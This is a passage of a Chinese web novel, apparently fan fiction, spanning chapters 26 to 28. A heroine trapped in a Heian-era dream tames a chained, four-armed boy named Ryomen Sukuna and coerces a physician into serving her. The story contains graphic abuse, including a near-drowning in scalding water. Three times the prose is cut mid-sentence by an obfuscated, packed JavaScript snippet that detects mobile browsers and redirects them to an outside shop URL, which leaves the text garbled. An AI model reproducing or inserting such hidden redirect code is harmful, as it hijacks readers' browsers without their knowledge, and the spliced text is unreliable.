小怪物听懂了这个指令,他颤悠悠站起身子,不过依旧驼着背。前行没几步就被锁链遏制,无法再向前行进。 “来到我身边,一、二、三。” 指令重复第二次。 声音更加冰冷,还夹杂着淡淡的怒气。 小怪物不再管那条锁链,他伸出爪子,脚掌在地面划出一道道痕迹,身后被捆绑的圆柱渐渐松动,随着他脖颈处的血液滴落在地,随着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15968064|175711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近乎停止的呼吸。 嘭的一下, 柱子被弄断了,他终于走到人类的身旁,即便是如此不堪。 “做得很好,你是个好孩子。” 人类用温热的湿布毛巾轻柔擦去他身上的污渍,柔和到近乎感受不到痛苦,他盯着人类的眼睛,怎么也无法搞明白对方的全部动机。 这不是一只野兽所能理解的,他恨她,又畏惧着她。 “真可怜呐,小怪物。”人类擦干净他布满污垢的脸,用指腹摩擦着那四只被誉为诅咒的眼睛,像是位考据学者在研究着自己的论题。 这脸上有着大大小小的疤痕,未长好的裸肉翻涌而出,蛆虫在内里爬动,看起来很恶心。 小怪物歪了歪头,他自然不懂什么是【可怜】。 人类指着水桶,示意他自己进去。 他看着还在冒热气的滚烫水源,身体向后撤了撤,这源于兽类本性,对于深水的恐惧。 好心肠的人类给出了倒计时,只是三次倒计时过去,小怪物向后撤的距离更大了,他甚至想要直接逃跑。 啊啦啊啦,这样子可不行。 刚刚夸完的孩子怎么可以做出这种事情呢? 下一秒,锁链再度被人类掌握在手中,并狠狠一拽。 小怪物踉踉跄跄地跑到人类跟前,一只手拽住了他的头发,并直接按进了滚烫热水之中。 他感觉自己无法呼吸,一连串气泡从口腔和鼻腔中冒出,咕噜咕噜,水流慢慢涌进了气管之中,带来难以言喻的窒息与痛苦。 挣扎着想要涌出水面,可那只手并不肯放过他,两只手无力抓着空气,他觉得自己就要死了。 眼前只有白色光芒,什么都看不见。 隐隐约约间,听见人类虚假的轻叹: “很抱歉呐,这并非是我的本意,可不这样做怎么能让一只野兽懂得道理。” “当然啦,还有一点点私心——两面大人,您在杀死那些人类的时候,是否也曾回忆起自己面临死亡时的痛苦呢?” “这时候的你,又和儿时欺凌自己的人类有何区别。” “真是有够无聊的世界,对吧。” 萤松开手,将奄奄一息的小怪物从水中拽出来,他呛了水,止不住咳嗽,蜷缩在地上,像是只濒死的鱼。 他再也没有力气反抗,看向萤的眼神中充满愤恨与恐惧,毫不怀疑,这是只养不熟的狼崽子。 “现在,把衣服脱掉。” 萤指着他身上已经湿漉漉的破洞衣裳,用动作示意他接下来该做什么。 “一、二、三——” 小怪物三两下把衣服褪去,作为野兽,他不觉得有任何羞耻。那残疾的、不符合人类美学的身体就这么直白的裸露在眼前。 真神奇,明明被锁住这么多年,他身上还是有着一层肌肉。 若是用野兽的目光来看,这是一幅很完美的捕食者身体,肢体纤长,每一处都潜伏着爆发式的能量,微微佝偻的脊背随时随地都可以扑上去猎杀动物。 他站在那里,凌乱长发下隐藏着四只眼睛,盯着自己的猎物。 人类笑了笑,给出下一道指令。 小怪物转身迈入浴桶之中,指甲狠狠戳进手掌心,血迹在水中晕散开。滚烫热水让他浑身都颤抖着,嗓子里发出微弱呜咽。 他听见人类轻快哼着歌,然后拍了拍他的头顶,说: “好孩子。” 26.第 26 章 月彦少爷依旧处于昏迷之中,每日清醒时间少得可怜,只能病怏怏躺在那里,像是一具冰冷尸体。 按照医师的诊断——少爷动了心气,一时半会儿无法痊愈,只能用药慢慢恢复,在此期间内不可受到任何刺激。 说到此处,医师下意识看了眼跪坐在旁的姬君。 初印象实在颇为深刻,只不过在月彦少爷宛若“野狗护食”的行为下,直到现在他依旧不知晓对方的姓名。 如今倒完全换了个人似的,和初见相比,用脱胎换骨来形容一点不为过。 她身上的伤以惊人速度恢复完全,苍白脸颊上留下一道道浅粉色的疤痕,像是一副用世间最为美丽的色彩小心点缀而成的绝佳画作。 那头参差不齐的头发被护养得很好,柔顺、油亮、散发着香气,脊背挺得笔直,漆黑似墨的眸子蕴含着某种魔力,给本来只能算是平庸的面容增添几分神秘色彩。 很难用言语去形容她的容貌与气质,那注定是矛盾交错、难以理解的语句,只有当你长久、专注地注视着她时,才会体会到那种难以言喻的诡谲之美。 本来垂眸的她微微抬起头,与医师目光交错,那双眼睛里流露出某种难以捉摸的色彩,然后看着她微微动了动唇。 医师读懂了这句话。 她说——我会杀了他。 似乎什么都变了,又似乎根本就没有任何改变。 仆从将今日药汤递到她的手中,由她拿着汤匙,一点点将略有些烫的药塞入月彦少爷的口中。 那动作轻柔极了,没有任何人可以在此处挑错,若是说世间有向病患喂药的标准模板,那么一定是她。 毫无疑问。 苦黄色的药汁湿润了干涩的唇,永远抗拒着喝药的月彦少爷在此时显得格外安静,可以称得上是任人摆布。 屋外传来嘎吱嘎吱的声响, 有人迈着急促步伐推开门,正是急匆匆从镰仓赶回京都的产屋敷家主——在听闻月彦少爷的情况后便推开所有公务,一路风尘仆仆,外衣还未来得及更换。 直接询问起负责照顾的医师与仆从,病情怎会突然加重? 仆从只知晓月彦少爷在几日前的夜晚去花园散步、赏花而导致风寒,至于其它原因,一概不知。 医师回想起那日房间里浓重的血腥味以及别的什么,他顿了顿,也只说是风寒。 这当然源于月彦少爷在昏迷前下达的命令。 在产屋敷家族,隶属于月彦少爷的仆从需要以少爷的要求为最高级,其余一切都排在之后。 很难想象,一位家族之主竟可以放任自己的权力如此外流。 家主在门外匆匆扫了一眼,他显然注意到了这里的新面孔,只当是长子无聊时用来发泄的新玩具。 知晓了病况并不危及生命后便转身离开,说是有要事去忙,临行前又要求管家招募一批新仆从来填补空缺。 空缺是什么,显而易见。 庭院再次陷入诡异的寂静之中, 产屋敷家族有一个流传许久的美名——极度宠爱长子,近乎到丧心病狂的地步。 有人说,那是为了补偿他们,也有人说只是为了作秀,不过还有很少很少一部分人说,是为了得到什么不该得到的东西。 传言自然不可信,凡事还是需要眼见为实。 今日这番举动倒是证明了许多——是关心不假,但这关心里参杂着的其它东西可就不好说了。 医师起身恭敬送离家主,屋内仆从也都退了出去,只听得汤匙敲击碗边的清脆声响。 一碗汤药见底,剩下些药渣。 医师擦了擦额头渗出的汗,不知为何,他感到几分可以称得上期待的紧张。 心脏随着那位姬君的动作一齐跳动,仅仅是轻微的呼吸声都可以带来头皮发麻的颤栗。 怦——怦——怦——— 心脏急促又富有节律, 轰鸣在那把匕首抵于脖颈处时发出最大声响,近乎崩溃。 姬君的力度不轻不重,冰凉刀刃带来似疼非疼的怪异触感。 他被迫昂起头,看着这位可以称得上是稚嫩的姬君,看着这棵从未有任何改变的山间孤松,弯腰附在他耳边用轻柔声音说出威慑力十足的话语: “臣服我,或者,去死。” 他咽了口唾沫,喉结颤动,一滴血顺着刀刃滴落。 啪嗒,溅在装有药渣的碗底, 晕开一抹淡红。 医师伸出手,握住那只足以杀死自己的纤细手腕,脖颈处的力道再度加重几分,毫不留情。 “你的选择?” 碗底盛着的血液愈发浑浊,将药渣冲散开。 他看着那双冰冷眼眸,读出对方的所有心思——完全就是把他当成工具般的存在嘛,如果轻易答应下来,会不会太轻贱了些? 毕竟,再怎么说他也算是位受贵族尊敬的医师啊。 用暴力手段来对付这样可怜又值得世人尊敬的人,未免有些太过分了吧。 医师眨了眨眼,给出个模棱两可的回答——“恐怕在下还不能屈服于一位不知晓姓名的陌生姬君身下。” “不需要,我知道你就足够了。” 姬君缓缓念出了他的姓氏——【森立之】 声音清脆悦耳,好似一阵微风吹过风铃,被这样的人念出自己的名字,可以说得上是件值得幸福的事情。 这让他浑身都颤了颤,那积攒了几十年隐晦龌龊、不见天日的想法瞬间喷涌而出,让他没忍住低低笑出了声,有趣,太有趣了。 比起敌人,果然还是同伙这个称谓更加吸引人啊。 他说:“姬君大人,在下悉听尊便。” 显而易见,医师选择了前者。 那把匕首被收了回去,森立之捂着嗓子咳嗽许久,瞥见地板上已经从药碗中溢出的鲜血,出手真是有够狠的。 不过这位姬君大人还算有些良心,没伤到主要经脉,只能算是个皮外伤。明知道他是医师,还用上了这样吓唬人的小手段,姬君似乎很有自信啊。 或许,在他观察姬君的第一眼时,对方也在默默评估着他的价值。 听起来真是更加美妙的事情了。 一瓶药膏扔到他的手中,光是从装药的小罐子就能看出价值不菲,算是小小的贿赂,用来收服人心。 姬君将染血匕首放入纯白和服之中,拂去衣袖上的一点褶皱,她依旧居高临下地看着他,“我有能力杀你,同样也有能力救你。” “过段时日后自会放你自由。” 说完,她推开房门,留下第一道命令——处理完伤口后来我屋里一趟。 吱呀,门被关上了, 只留下屋内两位病患,气氛称得上寂静。 森立之将药洒在伤口处,那冰凉粉末糅合进血液皮肉之中,让他没忍住倒吸一口凉气。 药果然是好药,不消片刻便已经有了显著效果。 他倚靠墙壁,眯起眼睛缓解稀释肉/体仅存的最后一点痛意,余光瞥见正躺在床榻上的月彦少爷,那虚弱无力的指尖微微颤动几下。 “终于装不下去了吗,月彦少爷。” 医师用着戏谑口吻,揭穿了那位不称职病人。 装得倒是蛮像,甚至为了让面色看上去更加惨白,还特意在傍晚时偷偷往自己脸上抹白/粉。 啧,脖子上的粉都没涂抹均匀,这么蠢的做法也只有这位贵族大少爷可以想出来了。 想要博得那位姬君的关注,最简单的方法应当是自杀才对。 用刀尖捅向心脏,任由鲜血染红整片大地,把心碾碎了、揉烂了丢出去,虔诚跪拜在姬君的面前忏悔过错,最后别忘记要死远点儿,要多远有多远。 想必看到这幅场景的姬君,绝对会露出那种由内而外的明媚笑意吧,黑曜石般眼眸中倒映着猩红血液,那洁白无垢的和服下还藏着一把利刃,挺直的脊背后是漆黑似墨的柔顺长发。 笑盈盈的美丽姬君啊,任何人都不该让她感到不快,不是吗? 真是抱歉,不自觉间就为那位姬君谱写了一篇连歌,恐怕日后更是要为了姬君谱写出更多的连歌。 医师不仅只是医师,他还有很多兴趣爱好,写作就是其中微不足道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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森立之抿了抿唇,顶着对方那足以杀人的目光,他伸手轻轻抚摸过脖颈处的伤痕,勾起唇角笑着说:“我对她来说是有用的,而你呢,仅是只甩都甩不掉的蜱虫而已。” 月彦少爷吐出一口血,四肢无力根本无法从床榻上爬起来。 “气急攻心,您还需静养一段时日,可别因为几句不值一提的闲话耽误了身体。” “真是抱歉,在下失礼了。” 说完,医师恭敬行李推门走了出去。 下一秒就听见器皿破裂的清脆声响,似乎摔的不少呢。 果然只是个不懂得包装情绪和自我的贵族少爷,这样的家伙,那位姬君怎会舍得分出任何一点多余的眼神呢。 又是一阵猛烈的咳嗽,医师让门口守着的仆从好好照顾月彦少爷。 毕竞这装病,也是极有可能演变成真病。 这可不是他这位仁慈医师能干出的缺德事,绝对不是。 …… 医师在漆黑的长长走廊中缓慢前行, 吱呀吱呀的声响伴随着步伐,直到尽头才堪堪停下。 他整顿好身上略有些褶皱的衣袍,嘴角带着自己都未曾察觉的笑意, 轻敲三下后推门走进了姬君的房间。 一道声音传来, “最后一次,松开你的嘴,一——二——三——” 迎接他的不是刀刃、不是那双眼眸、也不是姬君…… 医师看着那个光着身子不知廉耻的小怪物,此时正用着肮脏牙齿咬住了姬君的手,那恶心的四条胳膊死死缠绕住了姬君,然后警惕地抬头看向他,呲牙咧嘴的丑陋模样。 姬君微微抬头瞥了他一眼,淡淡说了句——你来了。 然后一掌将小怪物按倒在地,这才给出了此行的真正目的:“给他看病,就现在。” 小怪物在她手下不停反抗挣扎,从嗓子里发出愤恨难听的呜咽叫声。 呵, 医师脸上没了笑容。 27.第 27 章 小怪物身上有很多伤,大部分都处于化脓结痂的状态,不知是不是终日只能和牲畜在一起生活的缘故,那些伤口中蕴藏着许多细小肉虫,正在不停蠕动。 可以简单称之为蛆。 除此之外,乱糟糟的、打结缠绕着的头发里住满了跳蚤,脸颊两侧近乎凹陷至颧骨的瘦弱模样也十分令人恐惧。 他看起来始终处于某种焦躁不安的情绪之中,任何风吹草动都会受惊,然后发出攻击性行为来扫除所有他认为的潜在威胁。 萤不喜欢这样一只不通人性的野兽,胳膊上出现许多伤痕,自然是这些天被小怪物咬出来的杰作。 她看着面色不佳的医师,对方正在为小怪物看病,眉头皱得很深。 陌生人的闯入显然使得小怪物的情绪更加激动,倒计时也不管用,萤果断抽了两巴掌,把小怪物短暂扇晕过去了。 医师的动作顿了顿, “怎么,你也想要?”萤挑了挑眉。 医师微微摇头,摸着脖颈处还未痊愈的伤口,他说:“姬君赐给我的伤口,已经铭记在心了。” 其实她也并不介意再多捅一刀,完全不介意。 手底下的小怪物没过几分钟就恢复了清明,又开始发疯挣扎,把“弱不禁风”的医师给一脚踢飞,像是头即将被宰的愤怒大野猪。 看着从地上狼狈爬起来的医师,萤没忍住笑了起来。 眼角眉梢都带着可爱的笑意,她没有用手遮挡着脸,可以清晰明了地瞧见那洁白的齿和一抹深红,那声音听起来也畅快极了——一个在贵族眼里称得上绝对失礼的笑,不过格外真实。 就好像,她终于流露出一点真实的自我。 “真是抱歉呐森君,请多多体谅。” 萤踹了踹身下的小怪物,用毫无歉意的语气对着医师说道。 对方没回话,站在原地盯着她看,眼神中流露出某种只属于大人世界的龌龊。一把闪着银光的小刀从脸旁划过,蹭破薄薄一层皮,血珠渗了出来,同时也让医师回过神。 他咳嗽两声,道了句失礼。 接着便跪坐在地,继续为小怪物处理头发里的跳蚤。 让一位医师来做这种事真是大材小用,不是吗?那位姬君正用手撑着下巴看他发呆,浑身萦绕着淡淡的疏离,明明相隔很近,又仿佛两人离得很远很远。 医师忽然明白那位月彦少爷一切癫狂的行为了, 遇见这样独特自由的鸟儿,怎么能忍住不让她的目光只为自己一人而停留,就好像自己抓住这样一只鸟儿,也抓住了足以令灵魂感到幸福的满足。 她随意开口问:“你有没有什么值得写下的故事。” “有很多。” 医师将满是跳蚤尸体的绢布缠绕,又换了个工具开始处理小怪物身上的伤,一点点把侵入皮肉的虫子挑出来。 “我想听听。”她把目光放在了医师身上,眼眸里闪烁着好奇,“反正时间还长着呢,对吧。” 说完,她又给了小怪物几巴掌,简单粗暴制止了其挣扎行为。 医师低低笑了笑,怎么会有人舍得拒绝这样的眼神呢,反正他不能。 于是,这位兴趣写作的医师迎来了自己的第一位读者,他开口,缓缓说出了那些诡谲奇异的贵族家族故事,这源于一个个真实题材。 至于故事的主角毫无疑问,自然是——产屋敷家族。 … 黄昏后, 小怪物从混沌梦境中苏醒,他先是愣了愣,高高肿起的脸颊传递着迟来许久的痛意。不过除此之外,浑身上下是前所未有的清爽,那些钻入骨髓的蛆虫都没了踪迹,轻飘飘的。 下意识磨了磨牙,本来尖锐的牙齿奇异般被磨平,大脑疯狂运转,他无法分析明白自己身上发生的所有变化。 “醒了?” 一道声音从角落传来, 小怪物猛地耸起脊背,呲牙看向那个人类的位置,他眯起眼,昏黄日光打在那人的身上,每一处发丝都散发着金黄的暖色,纯白色和服也化为这抹色调,睫毛的阴影落在脸颊处,手中正拿着一把折扇,随意扇着风。 如果说可以用一个词语来形容这幅场景,那一定是——静谧。 这人类的身上有某种魔力,当你看见她时会觉得时间似乎暂停,世界被分割成两半,她一人独占一半。 未经驯化的小怪物自然不懂得那些高级形容,他遵从本心的,又或是被可恶人类诱惑了,迈着踉踉跄跄的步伐走到人类的身边,伸舌舔了舔她的脸颊。 “……好恶心。” 人类用嫌弃的眼神推开他,并警告道:“不允许再这么做,听到没有?” 小怪物嗅嗅鼻子,刚想用牙去咬人类时就被直接踩在脚下。 高高在上的人类用那副厌恶神情,死死卡着他的下颚,“你今天很不乖,本来想把这几颗碍事的牙齿全部拔掉,但想想看那个样子会更丑,还是算了。” 说完,人类用锁链把他拴在角落里,转身从衣柜中拿出一件女式和服。 “把手抬起来,一、二、三。” 小怪物乖乖抬起手,没办法,弱肉强食,这是自然界再普遍不过的规矩,他完完全全意识到自己无法打败面前这个人类,先屈服一会儿也没什么的。 这么长时间他都熬了过来,还差现在一会儿吗? 身上原本用来遮掩的单衣被人类脱去,取而代之的是一件女式和服,袖口宽大,可以很好遮掩他多出的两条胳膊,遮住不属于人类的异端。 他觉得身体很奇怪, 人类那柔软细腻的指腹时不时划过肌肤,很痒很麻,让他忍不住打了个哆嗦,皮肤上迅速起了一层密密麻麻的小疙瘩。 不,小怪物不喜欢这种陌生又难以抗拒的感觉。 这源于身体里属于人的那部分的渴求,渴求着对方更多的触碰,也渴求着触碰对方。 衣裳穿好了,那双手也收了回去。 小怪物垂下头,心中竟生起一点诡异的不舍。 “听好了,从现在开始不允许把衣服弄破,懂了吗?” 人类比划着什么,用故作凶狠的表情吓唬着他,满意地看着他缩了缩脑袋,显然是被打怕了。 … 阳光在地面一晃而过, 时间竟已经来到了漆黑夜晚, 烛火的微光只能照亮一点点微弱区域,小怪物蜷缩在角落里警惕地盯着那摇曳的火苗。 过了很久,也许只是一时,他打起瞌睡,怀里抱着个由人类专门为他订做的草药枕头。 因着长时间居无定所、只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15983345|175711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能睡在猪圈和被野兽养大的缘故,他的夜间睡眠非常浅,而且经常做着充满血色的噩梦,时不时就会嚎叫一嗓子,然后猛然惊醒。 人类试图用暴力手段来治疗,只可惜效果不大明显。 于是便又威胁了可怜无辜的医师,要求对方制作一个具有安眠作用的抱枕。 医师:…… 不管怎么说,最后小怪物和人类都获得了安稳的睡眠,只有熬了两个通宵摘药缝制枕头的医师受到伤害。 小怪物久违地梦到了母亲, 他梦见母亲银白色的长毛,梦见母亲用尖牙将猎物撕个粉碎,梦见母亲在月光下伸展着四肢,梦见母亲死在利箭之下,梦见母亲被燃烧着火焰所炙烤,化为乌有,什么都没留下—— 轻声呢喃着属于狼群的话语,泪水打湿了枕头,散发出淡淡的药草香气。 从梦中醒来时还是半夜,满月挂在幕布上,皎洁月光洒满了大地。 小怪物揉揉眼睛,发现屋外有一点点微弱亮光。他顺着光芒走了出去,还好在锁链的行动范围之内。 竟然是那个人类,正抱膝坐在屋檐下看星空发呆。 听到吱呀吱呀的声音后也没有回头,只是说了句: “你也醒了吗,两面宿傩。” 小怪物站在原地,他努力分析着对方的话语,从嗓子里发出咕噜咕噜声,也算是回应了。 在这之后,对话陷入停滞。 月光照亮了人类的脸庞,和日光完全不同的感觉,那是一个遥不可及的幻影。 他把目光从人类身上移开,看着满月,野兽的本能再次被激发, ——趴在地上对着月亮嚎叫。 声音嘹亮极了,空荡荡的院落里似乎都能听见回响。现在已不会有狼群再回应他的呼喊,可以回答的只剩下自己了。 小怪物感到很孤独,虽然他也不懂这是一种怎样的情感,只能落寞的用爪子挠着木地板,发出刺耳声响。 “停下你的动作,一——二——三——”人类发话了。 他收回手,老老实实坐在原地。 人类回头看着他,上下左右认真观察许久后才缓缓说道:“你很可怜,人类在你身上做出过许多无法原谅的事情,那些人或愚昧、或贪婪、或无耻……报复行为是完全合理且正当的。” 这段话太长了,小怪物听不懂并觉得有些晕头转向。 人类还在自顾自说着: “可你不该把报复行为延伸至无辜的弱者身上…我猜你会在报仇之后失去活着的目标,接着以虐杀和瞬时快感为乐,几百几千年来都如此无聊,这并没有任何意义。” “我见过太多这样的人了,这样怎么能称之为活着呢?” 她的眼眸里流露出一些感伤,一些完全不属于这幅躯体所能拥有的厚重情绪。 小怪物靠近她身边,学着母亲般舔了舔她的眼睑,意思是——别难过。 她笑了起来,伸手摸了摸小怪物毛茸茸的脑袋, 指着空中圆月,“跟我念——两、面、宿、傩。” “两、面……宿、傩?” “没错,这是你的名字。”她说:“我叫萤,但还是请你别记住了。” 小怪物皱着脸,发音十分标准地说出—— 【萤】 28.第 28 章 来到梦境的第三个月, 如果不去刻意回忆现实生活,那么可能真的会以为那里才是梦,而现在的梦则是现实。 虚实交加,让人很难分清其中真假。 萤是个随遇而安的人,大多数时候她都懒得去思考之后会发生什么,专注于当下,望着某些不停流转的事物发呆,去幻想许多不可思议的平凡故事,这就是她全部的生活。 所以说,她也仅是个再平凡不过的人类,怎么会遭遇如此可怜的不幸呢? 这里是一座遗失于世界之外的孤岛,一个古老神秘又肮脏的大家族,拥有数不清的财宝与华服,还有众人钦羡的无上地位与荣光。 大树的树根无限蔓延生长,汲取了生命与血液,在如此光鲜亮丽的背后又隐藏着怎样的秘密。 阴沉沉的乌云遮掩了正片天空,让人感到喘不上气,闷热天气里夹杂着潮湿雨气。 她手捧一杯热茶,坐在檐下等待着雨落。 此时梅雨季即将结尾,院子里掉落一地的梅子无人在意,就这样渐渐腐烂,发出酸臭气息,黏在木屐上,走遍整座庭院。 小怪物穿着洁白和服,他坐立不安,直勾勾盯着低飞的蜻蜓,眼里全是渴望。 “去玩吧,顺带把树上的梅子摘几个下来。”萤放下茶杯,为这只野兽松开了锁链束缚。 学习能力非常快的小怪物已经差不多可以听懂人类语言中的大半,只不过还不能准确表达自己的意思,说话像是野兽在打呼噜。 从嗓子里发出点儿似是愉悦的声响,小怪物赤脚跑到院子里,那四条胳膊从宽大衣袖中露出来,灵巧敏捷地抓住几只蜻蜓,用最残忍天真的方式折断蜻蜓的翅膀,然后—— 塞进嘴里吃了下去, 发出嘎吱嘎吱的咀嚼声音。 在进食时会呲牙观察周围,一旦有什么风吹草动就会立刻表现出更猛烈的攻击行为。 那身洁白和服沾染了泥点与梅子腐烂的果肉,变得脏兮兮,再无最初模样。 无论怎么管教,都还是那个怪物,一如既往。 “姬君为何要在一只不通人性的野兽身上,浪费如此多的时间呢?” 医师将纸伞放在一旁,用某种堪称玩味的目光欣赏完整场演出后发出如此疑问,可惜姬君并未回答,一如既往的冷淡。 真是,利用完后就把人随意丢弃,这种行为可不好。 跪坐在姬君身侧,医师慢悠悠为对方斟了一杯热茶,用手捻起一块和果子,递到姬君嘴边。 “请享用。”他笑着说。 姬君抬眸瞥了他一眼,那一眼真是...让他为之颤抖,仿佛整个世界的颜色都聚集在这双眼眸之中,像是一只轻飘飘、似梦般的蝴蝶。 刹那间,雨也随之落下,她眼中蕴藏着整个平安京的水雾。 犹豫片刻后,姬君还是赏脸吃下这块由医师精心挑选的和果子。 温暖的唇轻轻碰触到冰凉指腹,带来转瞬即逝、近乎窒息的快感,他屏住呼吸,失神许久后轻叹一声,太糟糕了啊。 看着心不在焉嚼着点心的姬君,两腮微微鼓起,撑着下巴,垂眸望向远处发呆,可爱又可怜的模样,让人忍不住想要将她拥入怀中,一点点抚平她皱起的眉心,用唇细细描摹她的全部。 雨还在下,落在地上时发出噼里啪啦的响声,蜻蜓早已没了身影,熟透的梅子果压弯了枝桠,掉进沉寂死水之中,水面荡漾着微微波澜。 一切都极富美与感伤之意, 有只纯白色的蝴蝶落在姬君的漆黑发梢,静悄悄,又翩然离去。 这让多愁善感的医师忍不住从胸腔里发出一声喟叹,他似乎过于沉溺于这场似梦非梦的幻境之中。 明明那位姬君只愿留给他一个漫不经心的眼神,留给他一个遥不可及的虚影,可他竟觉得如此美妙。 清酒会有如此醉意吗,还是他的自我麻痹… 医师怀疑自己也生病了,病因是咎由自取,而药方又会是什么呢? 几颗梅子果落在餐盘之中,打破了大雨中的寂静。 姬君眨了眨眼,将目光放在正不停滚动的梅子果上,每一颗都有一个小小的牙印。 这些梅子正是小怪物爬上树摘到的,他先是尝了其中一颗,觉得很酸,整张脸都皱成一团。 于是每摘到一颗,小怪物就咬上一小口,把尝起来不怎么酸的梅子一股脑儿都送给了那个看起来有些忧郁的人类。 不知为何,他不喜欢看见人类露出那样落寞的神情。 只可惜他的好意并未受到尊重与理解, 那些梅子果被医师挑了出来,全部扔在地上,慢悠悠滚落进淤泥之中,脏兮兮的,连同那精心设计的牙印也被裹挟着消失不见。 医师无视了小怪物呲牙咧嘴的无能愤怒,他笑眯眯耸了耸肩,“被脏东西咬过的果子,也会变成脏东西,对不对?” 话音落下, 餐盘中最后一枚梅子被另一只手拿走, “还是有点儿酸。”萤咬下一口后,如此说。 她揉了揉小怪物被雨水淋湿的头发,“去换衣服吧,现在。” 小怪物下意识蹭了蹭那只手,四只眼睛都眯成一条缝,从某些角度来看像是只被顺毛的大猫。 接着猛地睁开眼,咬了一口人类的手,咬完还不肯松开嘴,伸出舌头舔舐着渗血的伤口。 “松开嘴,一、二、三。” 命令刚刚发出,小怪物就颤了颤身子,径直跑回了屋里,留下一地掺着泥水的脚印。 “……” 牵起那只被咬破的手,医师打开药箱,一点点敷上了药草,他说:“肆意纵容可不好,现在是被咬上一口,之后被吃干抹净也不是没有可能。” 萤没有回答,她只是望着似乎永不停歇的雨,然后把刚刚咬过的梅子塞进医师口中。 “酸不酸?”她问。 “不酸。”医师伸出舌尖舔了舔对方纤细的手指,“不过,你的手似乎更甜一些。” 事实上,医师和小怪物都是一类东西,一个把嗜血暴躁的本性裸露在外,而另一个则是隐藏在心底,大差不差。 萤抽回自己的手,将梅子扔进雨中, 她又开始发起呆,听着雨声,就好像听见了大海的波涛……该怎么出去呢?找到了小怪物,也找到了产屋敷家族的秘密,为什么梦还在继续。 “产屋敷家族还有一位低调的姬君,与月彦少爷是双生子,只不过因着一些特殊原因不能见人,在下曾和这位姬君有过一面之缘。或许她会知道些什么,您说呢?” 医师再次向她斟了一杯茶。 “她叫什么名字?”萤问。 “舍子哦,取自舍子花,也就是曼珠沙华,一个美丽的名字,不是吗?” 医师起身拿起那把纯白色的纸伞,临行前还送了一件由他亲手缝制而成的艳红色和服,他说——姬君穿红色也会很美,在下期待已久。 人离开了,雨依旧未歇。 萤展开那件和服,不得不说,缝制得相当垃圾。 针脚歪歪扭扭,明明是朵花却被医师缝得像是狗尾巴草,丑得别具一格。上面沾染着不少深深浅浅的血迹,估计是不小心被针刺破的,看起来真是有些笨拙的可爱。 她想了想,还是把衣服收了起来,心意领了,至于其它的再另说。 有种莫名的直觉告诉她,很快就可以离开这个怪异的梦了,很快。 萤将最后一口热茶饮尽,她伸出手,雨滴落在掌心之中,然后慢慢滑落。 滴答滴答, 在雨水编织而成的幕布中,她看见了一双猩红的眼睛,在窗户后一眨不眨盯着她。 萤笑了笑,友好又礼貌地向好不容易从病痛中苏醒的月彦少爷打声招呼, “很快,我就会杀死你,那么现在——夜安。” 她转身走进屋内,发梢处的蝴蝶被惊动,挥动翅膀从屋檐下飘过,如同一片纯白花瓣。 最后落在了月彦少爷的手心中, 那里还残留着从肺中咳出的鲜血,蝴蝶伸出喙管汲取他手中的血液,那雪白的翅膀仿佛也染上一点朱红。 他握住这只不听话的蝴蝶——啪嗒,蝴蝶在手中绽放了最美一刻。 那些白色粉末黏在指端,带来无法忽视的怪异触感,他将这些粉末撒入香炉之中,看着徐徐燃烧着的烟雾,他生气了。 此生从未遇见如此无法掌控的事物,这位贵族少爷觉得,他不该再由着蝴蝶肆意飞舞。 要做好一个捕虫网,把那只不听话的小蝴蝶牢牢抓紧在手心之中,然后吃掉她。 连绵不断的梅雨终于停下, 粘稠闷热的空气却始终笼罩在身体的每一寸肌肤上,随之渗透出的汗水与阳光都显得那么微不足道。 呼吸,呼吸着,却感到窒息, 梅子树上空落落,满地浆果腐烂成迸发的烟花,散发出死亡的糜臭。死寂一般的溪流中飘荡着几片残花,这流水殇殇,蜿蜒曲折,最后又会在哪处停留...属于雨的季节已过,那意味着将要迎来另一个盛夏。 夜间蝉鸣不止, 夏日,终归是属于生灵的季节,对吧。 ...... 消失许久的玉藻前在一个寻常夜晚出现,很遗憾,他并没有打听到有关于契约存放的位置,产屋敷家族藏得太过隐秘,甚至是那位家主大人都不甚清楚。 就好像,有某种事物在模糊他们关于契约的一切记忆。 玉藻前猜测—— 那棵圣树是活着的,不是花草般死寂地活着,而是有思维和语言以及感知,就像是人类一样。 听起来希望被再次中断。 狐狸看着垂眸沉思的萤,心中升起一点愧疚。 不对不对,明明就是这个狡猾人类强制他签订了契约,他为什么还要为这个狡猾人类感到愧疚?! 面色几经变化,在内心上演无数场戏剧的狐狸君正觉得自己应该是天底下最可怜的妖怪。 “你知不知道产屋敷家族还有一位名叫舍子的姬君,是月彦少爷的双生子。”萤问道。 狐狸愣了愣,他仔细回忆着自己所打探到的所有消息,隐约中是曾听过这样一个名字,可那并不是一位姬君,只是个在家主院子里侍奉的普通的仆役而已。 还有那么一点比较特殊的,这位舍子十分擅长弓箭,每日除去日常打扫外就会独自一人去射箭场练习。 这么一想倒确实有些问题。 